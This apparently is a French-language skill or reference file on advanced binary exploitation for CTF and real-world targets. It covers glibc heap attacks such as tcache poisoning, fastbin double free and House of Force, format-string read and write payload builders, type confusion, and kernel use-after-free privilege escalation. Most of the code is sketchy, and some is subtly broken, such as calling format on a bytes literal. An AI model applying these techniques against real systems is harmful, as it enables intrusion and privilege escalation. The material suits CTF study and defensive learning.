binary-exploitation

name	binary-exploitation
description	Binary Exploitation avancé — heap exploitation, format string, use-after-free, type confusion, kernel exploitation, et techniques d'exploitation CTF/monde réel
tags	["exploit","heap","format-string","UAF","type-confusion","kernel","CTF","binary"]
version	1

Binary Exploitation Avancé

Guide d'exploitation binaire avancée — au-delà du buffer overflow classique, vers les techniques heap, kernel, et format string.

1. Heap Exploitation — Linux (glibc)

glibc Allocator Internals

// Chunk structure
struct malloc_chunk {
    size_t prev_size;       // Previous chunk size (if prev free)
    size_t size;            // Current size + flags (P/M/A bits)
    struct malloc_chunk *fd; // Forward pointer (free list)
    struct malloc_chunk *bk; // Back pointer (free list)
    // ... (next chunks for large bins only)
};

// Flags (in size LSBits):
// PREV_INUSE (P) = bit 0 — prev chunk is in use
// IS_MMAPPED (M) = bit 1 — mmap'd allocation
// NON_MAIN_ARENA (A) = bit 2 — thread arena

tcache Poisoning (glibc ≥ 2.26)

# tcache : per-thread cache, simple singly-linked list
# tcache_entry->next = next free chunk
# tcache_count[bin] = number of entries

def tcache_poison(free_addr, target_addr):
    """
    1. Free chunk A (size N) → tcache[N] = A
    2. Free chunk B (size N) → tcache[N] = B → A
    3. Read chunk B's fd pointer = A's address (UAF leak)
    4. Write target_addr to B's fd
    5. malloc(N) → returns B
    6. malloc(N) → returns A (or target_addr!)
    """
    # UAF write to modify fd pointer
    write(free_addr, pack("<Q", target_addr))
    
    # Now next two mallocs of this size:
    p1 = malloc(N)  # Returns B
    p2 = malloc(N)  # Returns target_addr → arbitrary write!

Fastbin Attack (glibc < 2.26)

# Fastbin : LIFO single-linked list
# Attaque double-free on fastbin

def fastbin_dup():
    # 1. Allocate A, B, C (same size, fastbin range)
    a = malloc(0x68)
    b = malloc(0x68)
    c = malloc(0x68)
    
    # 2. Double free A
    free(a)
    free(b)
    free(a)  # Double free!
    
    # 3. tcache/fastbin now: A → B → A → B → ...
    # 4. Allocate → get A
    # 5. Allocate → get B  
    # 6. Allocate → get A again → write __malloc_hook
    p1 = malloc(0x68)  # A
    p2 = malloc(0x68)  # B
    p3 = malloc(0x68)  # A!
    p3[0] = pack("<Q", __malloc_hook - 0x23)
    
    # 7. Write one_gadget to __malloc_hook
    malloc(0x68)  # Triggers __malloc_hook

House of Force (top chunk)

# Corrompre le top chunk size pour faire malloc retourner n'importe où

def house_of_force(victim_top_chunk, target_addr):
    # 1. Overflow into top chunk → set size = -1 (0xFFFFFFFFFFFFFFFF)
    # 2. Calculate requested size so top chunk lands at target
    # malloc(target - (top_chunk_addr + 2*SIZE_SZ) - 0x10)
    pass

Unsorted Bin Attack

# Unsorted bin : doubly-linked circular list
# Write large value to libc address

def unsorted_bin_attack(target_addr):
    # 1. Free large chunk → goes to unsorted bin
    # 2. Overflow or UAF to set bk = target_addr - 0x10
    # 3. Malloc triggers unlink → writes main_arena+88 to target_addr
    # 4. target_addr now points near libc

2. Format String

Arbitrary Read

from pwn import *

def fmt_read(fmt_string, offset=6):
    """Lire n'importe quelle adresse avec format string"""
    addr = 0xdeadbeef  # Target read address
    payload = pack("<Q", addr)
    payload += b"%7$s"  # Read string at addr, 7th parameter
    
    # Pour plusieurs bytes :
    payload = b""
    for i, addr in enumerate(addresses):
        payload += pack("<Q", addr)
    payload += b"|".join([f"%{offset + i}$s" for i in range(len(addresses))])

Arbitrary Write (%n)

# %n = write count of chars printed so far
# %hn = write 2 bytes, %hhn = 1 byte

def fmt_write(target_addr, value, offset=6):
    """Écrire valeur sur adresse arbitraire"""
    # For value = 0xdeadbeef:
    # Write in two segments: 0xbeef, 0xdead
    payload = b""
    addr_low = target_addr
    addr_high = target_addr + 2
    
    writes = [(value & 0xFFFF, addr_low),
              ((value >> 16) & 0xFFFF, addr_high)]
    writes.sort()  # Order by value ascending
    
    payload += pack("<Q", addr_low) + pack("<Q", addr_high)
    
    pos = offset + 2  # Two addresses on stack
    current = 8  # Bytes already printed
    for val, addr in writes:
        if val > current:
            payload += b"%" + str(val - current).encode() + b"c"
        elif val < current:
            payload += b"%" + str(val + 0x10000 - current).encode() + b"c"
            val += 0x10000
        payload += b"%{0}$hn".format(pos).encode()
        current = val
        pos += 1
    
    return payload

3. Type Confusion

// Objet traité comme un type différent de celui qu'il est
// Exploitation : contrôler un pointeur de fonction

class Shape {
    virtual void draw() = 0;  // vtable pointer
};

class Circle : public Shape {
    int radius;
    virtual void draw() override { /* ... */ }
};

class Message {
    char buffer[32];  // no vtable
};

void vulnerable(Shape* obj) {
    // Type confusion : Message casté en Shape
    obj->draw();  // Lit la vtable depuis notre buffer !
}

Vtable Spray

# 1. Allouer plusieurs objets
# 2. Type confusion → lire un pointeur objet comme vtable
# 3. Contrôler la vtable → exécution arbitraire
# 4. Pointer la vtable vers une région contrôlée

4. Integer Overflow → Heap Overflow

// Integer overflow dans la taille d'allocation
// Mène à un heap overflow

int vulnerable(int size) {
    // if size = 0x10000001, then size * 4 = 0x40000004
    // overflow to 0x4 with 32-bit arithmetic
    char *buf = malloc(size * 4);  // Alloue 4 bytes, pas 0x40000004
    read(0, buf, size * 4 + 100);  // Overflow !!!
}

5. Kernel Exploitation

Kernel UAF

// Use-After-Free dans un driver kernel
// 1. Ouvrir device → driver alloue objet
// 2. Close file descriptor → driver free objet mais laisse pointeur
// 3. ioctl pour utiliser l'objet → UAF
// 4. Heap spray pour contrôler l'objet libéré
// 5. Escalade privilèges (commit_creds(prepare_kernel_cred(0)))

Ret2dir (Kernel Mappings)

# Physical memory mapping in kernel space
# Direct physical map (physmap) accessible from kernel
# Map userspace pages → kernel also sees them via physmap
# Spray physmap with shellcode → redirect kernel execution there

6. Tools

# pwntools (Python)
from pwn import *

# One gadget search
one_gadget libc.so.6

# Libc database
# https://libc.rip/

7. Practice

• pwn.college : Heap, Kernel, Format string
• HTB Pwn : Machine pwn challenges
• CTF Competitions : DEFCON, HITCON, Hack.lu
• pwnable.tw : Classic exploitation
• Nightmare : https://github.com/guyinatuxedo/nightmare